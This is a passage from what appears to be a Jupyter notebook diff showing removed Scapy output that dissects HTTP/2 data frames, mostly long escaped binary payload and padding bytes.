>@;\\x9f\\xf2\\xd6\\x9a\\x98\\xbc\\x1d\\xeb\\x86h\\xb9\\xdcm\\xe0\\xd4T\\x9b[\\xe0ml\\xd1\\x9a3\\x8b\\xb7\\x10\\x025\\xa0v:\\x05\\xbd\\x82vf\\xc1\\xba\\xd8\\x8e\\x81O\\xd8\\xce\\'s\\xd1\\xda\\xfc~\\xaeO\\x8av\\xca\\xe1\\xe7\\x13\\xe0\\x07\\xb66\\xf0\\x0bZ\\x1b0\\xf1\\x16\\xf5\\xd5\\xd0MXpn\\xa1\"\\xc3\\x0f\\xd3|\\xaa\\x81i\\x85\\xf8\\x8e\\xf2B\\xd7nr/_<\\xf5l\\xcf6\\xe6\\x81\\xbe2\\xc7O\\x0fKa\\'\\xc3\\x9b\\x1f_9O\\x83\\xec\\xe9\\xf2\\xd0\\xef\\xf5\\x97\\xb2=\\x15\\x00\\xb1\\xe7\\xbc}WB\\xc7\\x91\\xa3\\x97\\xbf\\xd7\\x94]\\xbft\\xaa\\t\\xa4\\xbf\\x0f\\xd2\\xacwK2\\xc5]\\x92\\xf3\\xf3\\xde\\x13\\x82 \\xcf\\x19\\xcb\"\\x17\\xca\\x8e\\xc7\\xc7\\'=\\xd7\\xa9\\xf7\\xf5T\\x1a\\xf9j\\x1f\\x02U\\x9f\\xc0\\x90\\xf0\\x1e\\xbf\\xa6>\\x14\\xa4\\x94\\xed\\xb2Dq\\x1f\\x1f\\xcb}^\\xbf<H+\\xbf:\\xb5\\xb4\\x93\\xec\\xe2\\xf8\\xf3\\xd7\\x8f?\\xb5\\x81jQ|_>w$\\xfe\\x08\\x08\\xfe\\x96~\\xbeP\\x1d\\xa7\\xf0?\\xe0\\xebxA:\\xdcf)\\x83j1\\xae0l\\xe2\\xf6t\\x05\\xb7[A\\xdcI\\x10Ds\\xfb{\\x96=\\xec\\xab\\xd9\\xbd\\xeb,\\x032I_{b\\xc0\\xe0\\x01\\xd6\\xf1\\xc2\\x9e\\xd7\\xdf\\x1f*\\x04,\\xda\\xd0\\xf6\"\\xbd\\x84\\xde)\\xdf\\x13F\\xfbH\\xfd\\x1b\\x80\\xe9\\xf5\\xab)P/\\xd6\\x16\\xd5<\\xcd\\xd7\\xd6\\xfd=q\\x8e\\x00\\x7fe\\xb14\\xb4\\x8c\\x82\\x9e\\xaa>q\\x80\\xed\\xc0n@\\xfd\\x12s\\x80%\\xb2\\x9fV\\x93<-\\xa8~GK\\xfa6x\\xe7\\xb8Kw\\x08\\xe1\\x18\\x89p\\xf0\\x17\\xd4+>\\xffA X3y\\xdb>\\x8d)\\xa3\\n\\xce:,k~\\xfd\\xfc\\xbcv;\\xbc\\xa5qG\\xd70\\xdeu\\xf7\\x02\\xf3`\\x13y\\xe69DR\\xe9\\xe0\\xc28\\xc8\\xfc\\x00r;Y\"(TU\\x89\\xb4\\xfc\\xf1QU\\x97\\xde\\xe3\\xe3\\xc0x\\x02\\xb4\\xe4\\xfc\\x03\\x8d\\x9ezN#G\\xed?>\\xf6\\x00\\x9c\\xff\\xbe\\x90\\x8d\\xa6\\xe7\\xf7\\xb5\\x81\\xe1\\xc8\\xf01\\x9f\\x00Z\\xeb;5%\\x07P\\xec\\xa5\\x17N\\x01s\\x81\\x89;q`Eu\\xa4^\\xf4\\xd6\\xd0\\xaei\\xb22\\xf5\\xb1\\xda\\xbfP\\x9f\\x11\\xf6\\xb0u\\xa2s\\x8f\\x01$\\xb9P\\xcf=`\\xb1z\\xe1^\\xd0\\x8b\\x00\\xee>\\xdc\\x1fw\\xc2\\xb8\\x1a,G\\xff->3\\x89\\x86\\x8c\\xe6\\x0c\\xf8s~.+|\\x0fWoj\\xa0JT\\xae\\x83{`\\xe4\\x82h\\xebx\\x83/@\\xf75\\x02\\xbc\\xe9\\x97\\x96C*\\x8e>8\\xfb\\xea\\xf7}C\\xc1K\\x90\\xb7d\\x18\\xf9\\xef\\x9c\\xb7\\xd0\\xf9\\xae\\xc0\\xf0\\xc48\\xca\\xe4\\xbd\\xec\\x83Pm\\xea\\xe29:\\xab\\xf7\\xc3\\xed.\\x0f{o\\xdf\\x92w8\\xf0N\\xd6s\\xe2?\\x8f\\x9b\\x06\\xd6\\x9c\\x87\\xeb\\xc3\\x9cC\\x7f\\x08Y^\\xdcca\\x94\\xd7\\xbd\\xa2p2o\\xdb~\\xd2\\xab\\x18\\x07\\x19\\xe2\\rx\\x16XO\\xd5T\\xdf\\x8b\\xd5\\xfe\\xa1\\xda<\\xdc:O\\x0c\\xe9\\xce\\xab\\xb9\\xb1c\\xff3\\xd2\\xeb/\\\\\\xb1+\\x02;*\\xa1\\x14\\x0f\\x96\\x04\\x03|r\\x04\\x95\\xa79O\\xf0\\x8c@\\xf8B\\x02z\\x02*\\x16F\\x01\\xeb\\xa1\\x83\\x03\\xa3?\\x14F\\x01\\x85\\xf7\\xf5-\\xb8\\xbaWQ\\xce(\\x98\\xe4\\xb3\\x9e\\x0f\\xd5\\xfc\\x06zZC=\\xf5\\xfb\\xdf~)>\\x10z\\x054Q\\xa0\\xca\\x03\\xe9\\xf7\\xb5\\x13\\xb8J\\xd29P\\x7fQB1F\\xbc\\x90\\x03V\\xa6)\\xf5\\xf5T\\xe1\\x0f`Z\\xbf\\xc1}\\xc8\\xf9D\\xb2W$}\\x8a\\xf8:\\x8a\\x7f\\xd9\\xf4\\x0f\\xb9%\\xa2W\\xbdj\\xc2]5\\xc5F\\x8e\\xac\\x0e\\x8e\\x11\\x03\\xbc_\\xe1\\xf7\\xafc\\x8a\\x1c\\xd0|\\x1eC4\\n\\xa1\\x8e^\\xae\\x87^\\x18\\xc5>\\xc6\\x84|\\x18\\xd3d\\xcd\\xc2%\\xbd\\xb8\\x10\\x18CG\\x1e~K\\xdf-\\x07\\xc6eOU\\xd4\\x8bp\\xe8\\xc5$\\xcf\\x7f%\\x1bz\\x01\\xf7\\xfd!?\\x82\\xf8\\r\\x1c\\xa7\\xd2<\\xe5U\\n\\xbb\\x0f\\xfb\\x07\\x15\\xcb\\x15\\x08%\\xfe\\x90\\xa7\\xb9\\xc3\"\\x8f\\x06\\xe9\\xd4;\\xd0\\x07\\x1d\\xddUO\\r\\xb7d\\x03\\xbav~K\\xd1\\xda\\x83F\\x8c\\xf3\\t#\\x03\\x18\\xc28\\xb7ha\\xe2K\\x1e4\\xd0iU\\xa0\\x04DPUl\\xd4w\\x9a\\xe7\\xa0\\x04\\x96\\xee[\\xfd]\\x04\\x8a\\x07\\x11\\xd4\\x1b\\xd2{\\xea\\xfd\\xc9\\xf9\\xfb\\xf8(\\xdf\\xf5Td\\x08\\xb8\\x1a\\x00\\xeeW*x\\x03\\xdeV0\\rH\\xbc9j#\\xa8c9\\xf0\\xf8x\\x9bB-\\xa8;\\x8eC\\x9eyoo\\xde=\\xf3\\x1cl\\x16\\xa2\\x01\\xdf\\xb1\\xe0-9\\xa9\\x16#\\xf1\\xe1\\x1b>wS8\\xd7\\x1d5\\xcc\\xb3\\xad\\xaa\\xb8k^\\x9a8*\\x1e\\x97\\xc3?U\\x11\\x95\\x86\\xa8D\\x1cU/;x\\xc5\\xc1\\xef\\xa1\\x06\\x11]xwu\\xe9G\\xb7J\\x04.\\xd9%\\xd9\\xd5%~\\xc3\\x00\\xcb\\x14k\\xac]\\xe3\\xaa\\xfa\\xda\\xecr\\xe4^)\\x97\\xe48T|\\xe0&\\x92\\x83\\xd1\\xe8\\xee\\xae\\nDA6\\x12^\\xffY\\x08\\xce(;g\\xee\\xc6\\x89r/<\\xcf\\xd3]\\xe6Q\\']\\x9f3\\xe2B6\\xa1^\\xf1\\xb8\\x9a_\\x8e\\xc8Gqo\\xc86\\x97\\x90\\xe3m\\x89\\x1a\\xf1\\xc4\\xea\\xd5/\\xd0\\xf5),\\xa8\\x0c%\\x16/\\xdd\\x8cd\\x14s\\xf5\\xea5\\x0c\\x7f\\n\\x05\\x12\\x89\\xef\\xad\\xec\\\\\\x81B\\xbc\\xda\\x90?[\\xc7\\xce\\x0f\\x7f\\x08L\\x86z\\xf5\\xeft\\xf7\\x06 >\\x85\\x0c\\xf2\\n\\x99\\xaa\\xe4.\\x0f\\xb7\\xf2\\x9e\\x12\\xf5\\xea\\xb9\\xc7vP\\x87\\xb3\\xff\\xfd\\x0c\\x16E\\xb1L\\x1c\\xde\\x8f\\x9eq<\\x1b\\xf5\\xea\\x05\\xde~\\n\\x85\\x9fA\\xf1[c\\x10\\x9f\\x9e\\xaaW\\xdf\\xe3H{:73\\xe1\\xa6\\x9a\\x8f)\\xd4\\x8fjG\\x94\\xb0x\\x04m\\xba\\xc5\\t\\xf9\\x08\\xd4p\\x07\\xfc\\xdf\\x01\\x95\\xbb+\\xe5<#\\xefw\\xe9\\x12\\xd7\\xbb\\x1c\\t\\x8d\\x1c\\x81\\x96\\x1eU\\x15S~E(4\\x16\\xe9\\xa5\\xda\\xe2cE\\xa1\\xcaI\\xb5\\xc9\\x08}&\\xf4\\xcb\\xa3A5\\x1at\\x8c\\xd2\\xaa\\x8fH4\\xb4H\\x00\\x03ei\\xf6\\x80$\\x80>\\x08\\xb1\\xa9\\x15\\xe2\\xf1\\xd5\\x8f|<z\\xbf\\xa3\\xca\\xbf\\xa8\\xcby\\xf7\\x88\\xdc+?\\x0b\\xddBC\\xc1%{4oO~M2\\xb2\\xf9\\x1f\\x96\\x15\\x96\\xc1\\'2|!\\x9e9+0_\\xb1\\xd1\\xd5Lo0\\x99x^\\xbaKX.\\xcb\\xf0O\\x9a\\xddF\\x1e}\\x95\\x82\\xc1\\x17\\xca\\xb5\\x85e@\\x9e\\x0e\\xcbv\\xf4\\x1c\\x9f\\xf5D\\xc9\\x8e:\\x1f\\xb3\\xe3o\\xac\\x1f\\xde\\x7fc}\\xcf\\xbf@\\x95\\xf7\\t13\\xa1\\xf7 \\xc2nY\\x95\\x80a\\xa1)\\xe2q\\xcd\\xc7 \\x8a\\xe7\\x05%H\\xf1\\xb5\\x12x\\xfcM\\x02\\xbe\\x8e\\x9fwq\\x1f\\xe6\\xd18.\\x8e\\xd6\\xab\\xfb\\xe2MH~_hf\\xebh\\x07?\\xa6\\x85-\\xb2\\xb0P\\x1f\\xd5\\xb0L\\x0c\\xab,\\x94;\\'3\\xab\\xddi\\xce\\xe6\\xc7\\xce\\xe2\\xc7\\x88#\\xc3\\xff~\\xe9\\x96\\xf9S8U\\xb9\\xe5\\xa7g`\\x1b\\xe9\\xf6\\xe8c\\xd5\\xf2\\xe1\\x1a~\\xc9l\\x1c\\x15ltG\\xdd\\xd2\\xf4\\xab\\xbd\\x7f\\xd5\\xf3\\xf1\\xb1\\xf4F\\xb8u<;\\xb6[\\x8f\\xc7\\xd5j?\\x10\\x10\\xf0\\xf3aG}\\x91Bh(\\xbe)V~L7\\xc8,.V\\xdc\\xaa\\x90\\xc7\\x88\\xf9\\x1d\\xb4B\\x04B\\x83\\x01\\x16\\xd5\\xe9\\xae\\xa4\\xd0\\xf88\\x01\\xf0\\xe2\\xdb\\xec\\xe5p\\xd7\\xcb\\xae\\x0b}\\xd9x\\xc2\\x02I\\x05\\xcfk\\x80[B\\'\\x05\\x05,\\xc7\\x90GY\\x98\\xc2\\xcd\\x8b\\xeb7\\xaa\\x82\\xaf\\xb99\\xea:WK\\xf5\\xf9r\\xb5\\x91\\x0f\\xebt\\xf93\\xcb\\xa6\\x1a\\xf9\\xb2\\x16\\xab\\xfc\\xa1`\\xb5\\xec\\'\\xd6j\\xea\\x8dx\\x00\\xa7V*8\\x99\\x1c\\x99)\\x0e\\xc1\\x0b=:\\xa5\\xda\\xc5G\\x9a\\x00\\xc5\\x9f\\xd4Ix9\"\\xb0p\\xb5\\xb0\\xdfB\\xdeUd\\x07\\x9d\\xc33J\\xf0\\x16[\\xacI\\x1d5\\xc5<\\x02\\xb9\\x9b\\xbba\\x8a\\xf37\\xe4^d2 c}</\\x99\\xfc^\\x95\\x12U\\xb5\\xa6$\\xdc2F\\x9c\\x13\\r\\xe5\\xa9\\xb1\\xcc\\xcf\\xd5\\x06\\x0b]\\x17z \\xa9ci\"uV$\\xc8\\x9b\\x16\\x9bpY\\xf2\\xa2\\xdcG\\xbes7\\x11\\xee\\x84\\xbb\\xf3RK]\\xfee\\xfdW\\x9b\\xd5\\xc0\\xc2Gw\\x03\\xa3\\xf6\\xb5\\x85\\xf4f\\x8d\\xd5\\xb2\\xad*\\x82\\x8c\\x04!\\x15\\x07N\\xf1\\x07\\xcd\\xe1\\x84u]\\x9d\\'n\\xbe]\\x1eg\\xfd\\x1f\\x00\\x00\\x00\\xff\\xff'\n",
- " padding = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\n",
- "###[ HTTP/2 Frame ]### \n",
- " len = 0x15b2\n",
- " type = DataFrm\n",
- " flags = set(['Padded (P)'])\n",
- " reserved = 0L\n",
- " stream_id = 5L\n",
- "###[ HTTP/2 Padded Data Frame ]### \n",
- " padlen = 189\n",
- " data = '\\xdc=\\xdbv\\xea\\xc6\\x92\\xef\\xf3\\x15\\n\\x99\\xec\\x93\\xacc\\xee\\x17\\x03\\xfb\\xe0,\\x19\\x9b\\x8b16\\x18\\xe3[\\x92\\xe5%\\xa4\\x06\\xb5\\x11\\x92\\xac\\x0b\\x18\\x92\\xfcK\\xde\\xe7\\x13\\xe6e^\\xe7/\\xce\\xdb,\\xff\\xc5TuK a\\xecmc\\xd8;{\\xaf\\xec`]Z\\xdd]\\xd5\\xd5U\\xd5U\\xddU@7/\\xb27%D&\\x9f\\xda\\x9e\\x17\\xd8\\x85\\x17y2\\xcb\\x17\\xf3:4H\\x8e\\x1e\\xbe\\xc7]v\\x02nT\\x13p\\xfb\\x97\\x80\\xfb\\xb8\"{\\xe7\\x06J\\xf3%F\\x1f\\xc1\\x02\\x91\\xbd\\xb9\\x12\\xe1}z\\x04\\x1f\\xf8\\xac\\xd0S\\x1c\\xefK\\x8cX?H#\\xf3#%<\\xa0\\x03\\xbb1\\xad\\x91R\\xa2c\\xddfw\\x9eB\\xa9\\xe9#~?\\xd74\\xd9K\\xa9t\\xc5.p\\xcd\\x90\\x90\\xd4n\\xe3p\\x02\\xaay\\xa1w\\x90\\x1a\\xd7\\xda\\xa2zQN\\x9d\\x19\\x8dZ\\xfb\\xa8*\\x8aF\\xfbV\\xec\\xd6\\xf7\\xdbA\\x8d\\xf4\\xcbt\\x7fL\\x95u{\\x0f\\xd4rA\\x95G\\xe3\\x0b\\xf6\\x1e\\x94\\xd8u{?YVw\\xbf\\x0c\\x04\\xb6j\\x98k\\x82P\\x16#{\\x1d\\xf8\\xdc\\x04\\x1e\\xbf&\\x00/\\xadx\\x82@\\xb9\\xa3R\\xf2)tkt\\xb9\\xbdX;}\\x19|\\xf7\\x86\\xebRL\\x19\\xe8\\xfd\\x98\\x8e\\xad\\xd0l]\\xc0\\xf0~\\x0e\\xb8\\x99z8\\xd3fKwf\\xa6\\xb8\\xa3=\\x13\\x06:\\xe2\\xdfQ@\\xac+s\\x81\\xab\\x10{\\x88;\\x8f<\\x15g\\x1e\\xf1\\xe3v\\xdf\\xdd\\xc1\\x1f\\xef8\\x92\\x7f\\xed\\xc7\\xb6\\x90\\xf0\\x9e\\xbf\\xe1\\x97\\xcf\\x9d\\x9d\\x1a\\xee\\xf7BG\\xa0\\xd8\\x81\\xd5\\xe5}\\xed\\xaf?\\xd4\\xbapVz\\xca\\x0cS*\\xf9\\x16\\xdb\\x15:0h\\xbd\\xa9\\xb9\\xf9\\x02d\\x04\\x8f\\xf5#\\x9c\\xf2U (\\x9a)X\\x07j~\\x89\\x11Q<\\x1d\\xaf\\xa7\\xb0\\x98:\\xc1\\x97N\\xcfa\\xcf\\x16\\xf7\\x86\\xed\\xe9\\xb4\\xd6-\\x97>\\x82Fl\\xc1\\x94\\xa6P1~\\x1b*\\xeb\\xf2\\xb2\\xb2\\x83\\x07/`\\xc9dM+gAB\\xbf\\x7f/\\x81;\\x1e}\\xdb%h\\xa38o\\x83=\\x95\\xadR\\xf8\\xc1\\xdbH\\xdf\\x9ct\\xeb\\x07\\xc0,[\\x00\\xda_E\\xa1bI\\xb0\\x88\\xe43\\x00\\xe1\\x8c\\xbb\\xda\\x9e\\x0f\\xf1\\xdb0\\xe6\\x10\\x8e3\\x8c\\xb7\\xe4\\x92\\x17\\xd0\\x06\\x1f`\\x99\\xdb$\\x8b\\xc9\\xb4\\r\\xa4iV\\xd1o\\x81=\\xd3\\xac\\x12\\xbb\\xf7n\\xd7E\\x18\\x08v\\x81\\xe8B\\x1fP\\xf6\\x7f\\x12\\xb5\\xdf\\x83\\xb4{\\x05\\xb1\\x86\\x1e\\'\\x81\\xea\\n\\xed\\xf7\\x1f\\xd1\\xbeJ\\x9eG\\x1a~\\xa0n\\t]Pwq\\x1d\\x9d\\xc7\\xc7\\x8c\\xd04\\xa8n\\x0b\\xca?\\\\\\x9d\\x08*q\\xad\\x00==\\x07\\x8b\\xb2EX\\xd6\\xd1\\x80\\x96a!B*\\xf3\\x17\\x83\\xc5\\xfe40\\x93-\\x023\\xd9\\xd4\\xc0\\xd8d$Q\\xfd\\x15C3\\xda\"4\\xa3\\xcd@#\\x8c\\x0c\\xfa\\x8aq\\x99n\\x11\\x92\\xe9\\x86 \\x91\\xf4w1_\\x1a\\x14W\\xd6#\\xda\\x93%\\xe7%\\xe6Ko\\x93\\xdb\\xe2\\xba\\xb4\\x98|\\x07R\\x9a\\x86#\\xfc\\x1b\\x06\\xd6Y\\x85\\x0f~\\x15Z_\\xae\\xb6\\x91-\\xceC\\x86W\\x99\\xb6\\xa7\\r\\x04N\\x13F\\xf6\\x0e\\xf51\\xb5\\x0c]H\\x16\\x12\\x1f\\xbeO\\xe6\\x12\\x1f\\x13\\x89\\xc4_\\x01$\\x06\\xcd\\xc6\\xf8e\\xa0\\x1d\\xff\\xccddo\\xa9\\xd8\\\\\\xf7\\xf2\\x1fP\\xfe\\xa1\\xa1\\x85\\xfa3@#^\\xda\\xbf\\xe3\\x82\\xd0\\x1b\\x08\\xd7\\xd2`\\x14\\x02fc\\x9b\\xc8\\n\\x19\\xb3\\xf8\\x86\\xa6e\\xdc\\x11\\xd9\\xb1\\xe3l\\x90\\xe2>\\xba\\xbb\\xafGwe0\\xe86E\\x91/\\x03\\xecAI\\xac\\xb4\\xef\\xca\\'\\xb5\\xda0}x\\x9d\\xbfI\\xb6\\xba\\xbb\\x07w\\xb2\\xa8\\r\\xab\\x9939}ag\\x0b\\xd8\\xd3\\xde^\\x07\\xdbcN\\x9c\\xa8\\xd0!\\xf2\\x01\\xef\\x8fg\\xe1K\\x87Q\\x1d\\xc6\\xfcp\\xbcl\\x19\\xf3\\xcf\\xba2U\\x17\\x0f\\xbd\\xef=\\x07%4l\\xfb\\r\\xc7\\xff\\x15geC+\\x0c}\\xbf\\x176l\\x857\\xd6E\\x04C\\x975*\\x0fK\\x9e\\xeb.\\x86\\x8e;\\xcf?\\x16a[\\x1a\\xa3\\xe4\\xc1\\x94t\\x05\\xfd\\x82}I\\xb3\\x89\\xf7T\\x95l\\xd30]P\\xb5\\xd1\\xce\\x1d\\xc1\\xb8 \\xccA\\xc9\\x8cq\\xbe\\xbf\\x10n>\\x85\\xee\\xdd\\xfdD\\xbdr.\\x8aKV\\xa5\\xdb\\xd3D\\xc0\\xce\\xb3\\xbc\\xe8\\x08\\x06\\xf4\\xf2\\r\\xe6\\x91e\\xafhD\\xb0\\x0c\\x86Tv\\xbd\\xe8_\\x14\\xe77N\\x97\\xc5\\xf4\\xc7\\xa3&\\xa1\\x85\\xd8\\r\\xdc\\xaf&7\\xd2\\x93%Y\\xf5\\xfd8\\xe8*\\xf1\\xc2\\\\2w@\\xc8\\x9e\\xcf\\n\\x16E\\x9bVNT\\xad\\x962\\x87G\\xc5W\\x11\\xed\\x0f\\xa9lj\\x9f]\\xfe\\x90\\xca\\xa9\\x1a\\xd4\\xd4\\xb7\\xe0Jv\\xb0NM\\x1f\\xaeA\\xd4uqp\\xf5\\x94\\xa8\\x0fm9g4\\xaeN\\xf7{\\xb4\\xad\\xe8\\xd3q\\xf2x&f\\xf6\\xc9A\\xe20;\\xc0\\xc9/0\\x08V\\x89\\x91\\x17\\x11\\xe61\\xca\\x10s\\xbc/1#\\x1aQ\\x8a/\\xc3\\xfe\\xcf\\x05s\\x05\\x9e\\\\Z\\x87_\\xd6&\\x83\\xeb&\\x12\\x14WHm:\\xa2\\x9aDCzJ\\x90[\\x06~CfMgiZS[\\x90\\x04\\xd3\\x98\\xc0\\xb2\\r\\x04\\x0f;`\\xc47\\xea\\xc2\"H\\x1e\\x12G\\x18I:5]\\x8d9\\xe9\\x04\\x00k`I\\xa3\\x98Pw\\xd8\\x97,\\x98\\x9c!\\xf4\\x01d\"\\x18\\x96\\xf0\\xaf\\x9e\\xb5\\xf7\\x1f\\xe8\\xd4S\\xfc\\xefm\\xc1\\xe8C\\x0b\\x13\\nOtw\\xd4#\\x16>\\xf0\\xb7\\x80\\xd9;\\xa0\\x9f\\xe8\\x8a\\xe0\\xa8d\\x04s\\x16\\xffBQ\\x8b\\xec\\xc0\\x18\\x99\\x0eha\\xdc\\x8e\\x19\\x8b\\xc5\\xfcI\\x83\\xbe\\xa2\\x00\\'0lmM\\x1e\\xaa\\x18\\xf2:|41\\xa8\\xd7\\xabt \\xae \\xbb\\xfa\\xa4.[\\x86\\x9a\\xbd\\x16\\xfb\\xd5\\xb3h}\\xb7z]Q\\x8e\\xa9|ry\\x88\\x16\\x1el\\xf4\\x1f \\xfc\\xbd\\xed$\\x0c\\x9f\\xdf1G]TX\\x1b\\x00\\xd7\\x06b\\x88a\\xa8\\xc6uA\\x99\\x0e\\xf6\\x9f\\x82R\\x19)\\xd1\\xdd\\x06\\xed\\xe5\\xa5\\xccq\\x99\\xea\\xc9\\xa1\\x9c\\xa8\\x1ee\\x13\\xfb\\xf5N\\x06@\\xe9b\\xa3\\xef\\xea9\\x19\\x19\\xef\\xe9t\\xad<(\\xaf\\x90e\\x17v.\\xe1\\xce&m[\\xad\\xa52\\x83\\xb3j\\xbes\\xa4\\xe4n\\xbb\\xd5\\xec\\x04\\xd4\\x8c\\xb6\\x0b\\xe2@\\xc0\\x96\\x85\\xa2\\x80^\\xdb\\x05\\xa5\\xbf\\x03\\x14\\x07T\\xebu\\xa9\\xa8\\xd6\\x19\\x1c\\xac\\xa0\\xa26\\x9dM\\x1aW jnv5\\xcd\\xb0\\xef\\x1e*\\x85D\\xfb>Y\\xbdIL<*\\xc2F\\x9f\\xd8\\xae\\x9eX\\xe16\\xa3i\\xbc\\x9b\\xc8@\\xef\\xe87\\xc5\\xc3\\xb7\\x13\\x98\\xf0\\xe1\\xfb|*\\x99\\xfa(\\x84\\xd8\\xd58\\x15K\\xc6\\x92Q\\xe8mx&}9\\xf5$\\x8c\\xa1\\xafVY\\xa9\\x1f\\x88\\xfb\\xdf\\xac\\xb2R\\x1f\\xb65\\xbb%\\xf7\\xa4\\x8b\\xee+\\x95\\x95\\xf0\\xa8nGu\\xa1\\xab\\xe6E>=\\xa8;U\\xf1\\xa0s{vY\\xef\\xcb\\'\\x8dQ2Q\\xbd\\x99\\x1d\\xf7\\xda_Hu\\tcb3\\x8a\\xcc\\x1d@\\xbeAE\\xe6\\xc3\\xf7\\xe9\\xc2G\\x9b\\xab3\\x01\\x05\\xc6V\\x89\\xa6\\xa1\\x9ab\\xb9\\xc8\\xefA\\x0b\\x81w#\\xaaK\\x1a(\\x1d\\xb6\\x8d[\\xd1\\x853\\x8c\\xc1lZtL5\\x82\\xbd\\x91,PS\\x08\\x86\\xa7\\xe1\\xba\\x0c(7\\xbe\\x82\\xe2+4\\xa0\\xb2\\x18\\xc2\\x84\\xb0F\\xa1\\xb4kS} \\xd8\\xaeb\\x08*\\xb1HQ\\xf8O~\\x13d\\x12\\xc2%\\xd1\\x804\\x99\\xae\\x14dg+\\xb5\\x9b\\xf7\\xf0st\\x02\\x19&\\xd1Y)\\xcb0F6\\x9b\\x122\\xac\\xda\\x01\\xe4\\xb8\\xa7\\xcb\\x91YT#v\\xd4\\x94\\xee]\\x80\\'\\n\\xa8\\'\\x92\\x1b\\x95\\xc6D\\x8e.\\x86\\xf7\\xcdl^k\\x8a\\xf5er\\x1e\\xda\\xc3kRKM\\xaf*\\xbaD\\x0e\\xdb\\'G\\x83l\\xb7pz\\x99\\x1b\\xcb\\xcc\\x83\\xe4\\xf5\\xc6\\xb3\\xb9\\xb3\\xde\\xa01\\x03z#`o\\x84\\xa5\\x05\\xe8)@V\\x9eC\\xb6).\\xff\\x02\\xde`d^\\x81\\xb3\\xe0H\\x7f\\xb5\\xfc\\xff\\xe8N,\\x7f\\xb3\\xfc\\xbf\\x93=P\\x86\\xb6}~ig8\\xff\\xdf\\xcc<\\xd9\\x8eX0\\x9e\\xce\\xa3\\xea\\xb1y<\\x99\\xb9\\xd9D\\xbe3k\\xd7\\xecV\\xb4\\xdb\\xcfL\\xeeo$5\\xbf+nM,l\\x0eO\\x9b\\x11\\x1a&\\xe0e\\x03B#\\x95\\x10tc\\x1c\\x13R\\x89d\\x1a\\x19\\x0c\\xe3\\xbe\\xb8I9\\xc8k\\x88\\xed\\x08\\xcc\\xdc\\xac\\x00t\\xb0<v-\\xa15uT\\\\\\x01\\x83\\x08!\\x0e\\x06\\xf0Ag\\x01[\\xf8Z;\\x02\\xd1\\xc7\\xc6\\x14/\\xacG\\x990\\xc7\\xa4\\x0e\\x0b]X=3!\\xe2\\xa3\\xc9\\x82O\\x96\\x19]L\\xe8P\\xe0\\x7f>\\xdb\\x1b\\xa3M\\x17\\x84\\xd8#\\x80f\\x13\\xa8a+\"\\xa2o\\xc5&tHML\\x85\\xc1d>\\xde\\xc5;\\xeb\\xf3~\\xbb)6\\x97i\\xf6\\xbcN\\xc7\\xc7m\\x9a\\xb8\\xea\\x0f&\\xd7\\xbax\\xd0R\\x9b7\\x8d\\x9bl\\')\\x8bK6\\x08_\\xd3\\xbf\\xc4>=B\\x9f6\\xcd\\xdaW\\xc3\\x1b\\xec\\xc3W\\xcb\\xb7\\x8f\\xcf\\xc5\\x83o\\x96o7m\\xe5\\xc0\\xd6\\x12\\xed\\x93Ky\\xc1\\xb7_ \\xde\\xed0\\xe4\\xf1S\\xe2\\xae\\x94\\'\\xd5\\xcb|F\\xbf==\\xcd]\\xd5\\xb5C\\xb3\\xa9\\xf6\\xad\\xf1\\x90\\xe4\\xe4\\xe8\\xf6\\x19\\xf2\\x0b\\x08\\xd8\\x0c\\xa7\\x9d\\x00\\xc0\\x9b\\xb63z\\x1cU3\\x06T\\xa6\\x04\\x93\\x81\\xf4@y\\x06\\x16\\x1a\\xb2/2\\xb3aH\\x0f|\\x94-\\xea\\xa0\\xfb\\xddd\\xfc7&\\xd45\\xceT\\xb1B\\xa8\\x9d%(\\x81\\xf7\\x0e\\xd4&\\xb9\\xb8\\xf9}GP\\x98n\\xce\\x96\\x02\\xc8\\x8d\\x81\\xef\\xa2\\x99\\xd2\\x92\\xfaT\\x06\\xdd\\xdc\\xc2~\\xd8d\\x80\\xb6\\x03\\xaf\\x95\\x9d\\xb5\\xcd\\x8c\\x9f$\\xc8\\xb48\\x06Y\\xc1\\xb2h(\\xe4v]\\xf5\\x1a\\xedEMfu\\\\\\xa6\\xc4\\x9a\\xbb_=\\xbdJX\\xe3h\\xf7\\xf8\\xbe\\x7f\\xefv\\xf5\\\\\\xa5Ro\\x1fYwh\\xec\\x9e7\\x8e\\x98\\xf5\\x94\\xd4g\\x8d]\\x9f\\x86\\xe5\\xf0\\x81\\xe0n\\xdf[%\\x96\\xdau\\x1d\\xaaQ\\x9b\\r\\xdb\\xbb!cF\\xc8\\'s\\xec\\xac\\xd7\\x12\\xaf\\x065gVO\\x11\\xda\\xb7\\xc5d\\xe7\\xd8\\xbe?\\x11\\xd5\\x9c\\x88ka\\xde\\x15t\\xa6.:\\xb2\\x19(O\\x0c\\x07F\\x8b8\\xb7V\\xac\\x9c\\x8e\\x89\\x85>\\xff\\xc3\\x8f]\\xac\\t\\xe2\\t3Y>\\x91\\x91\\x0333\\xbeq\\xfb\\xa7\\xa94\\xcd\\x9fh\\x9d\\xc3\\xc6\\xedY\\xaa\\xda\\xd7Ng\\xe70x\\xac\\x1f\\xa8DX\\x8fl\\x9f\\x88\\xbcb\\xcb\\xda\\xbb\\xcc~\\xa0\\xb49\\xaec\\xd8\\n\\xd1\\xa9l0&\\xcc\\xee\\xa3\\n\\x89\\xe2\\x93\\xf8;V\\x83\\xa9\\xa6\\xd8^\\x86\\xf6h 